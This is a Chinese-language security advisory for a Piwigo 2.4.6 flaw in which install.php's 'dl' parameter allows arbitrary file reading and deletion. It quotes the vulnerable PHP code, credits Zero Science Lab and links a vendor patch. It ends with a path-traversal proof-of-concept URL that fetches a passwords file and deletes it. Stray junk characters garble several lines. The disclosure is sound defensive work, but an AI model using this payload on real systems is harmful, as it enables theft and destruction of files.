Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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/install.php:
, o9 Q7 p5 U: a2 E) S-------------
( ^1 g0 Y: ]8 Y9 H% k113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
) ?* R  b% F7 m* |( Z9 m/ {117:   header('Pragma: no-cache');
8 h3 y7 X9 i, o1 g- K+ ~- o- ?' q118:   header('Content-Disposition: attachment; filename="database.inc.php"');
% y4 N% K! W6 o6 F119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
: R6 S: K; [4 r$ z! E& @121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
  e6 b! B( t8 T; e124: }
# w. I8 ?- b) L5 B1 }, i====================================================================

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
7 _+ V% E! v3 V4 b           Apache 2.4.2 (Win32)
: D6 R. n( X9 m/ l           PHP 5.4.4
4 x5 M5 S: x9 e: O6 W           MySQL 5.5.25a
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5 i3 U# X8 n, H" iVulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

Advisory ID: ZSL-2013-5127
0 F6 [& V  [# a2 w/ OAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
! }7 Q+ U/ Q- r; |) X" Q% PVendor Patch: http://piwigo.org/bugs/view.php?id=2843

  i& Q8 t% c/ z15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt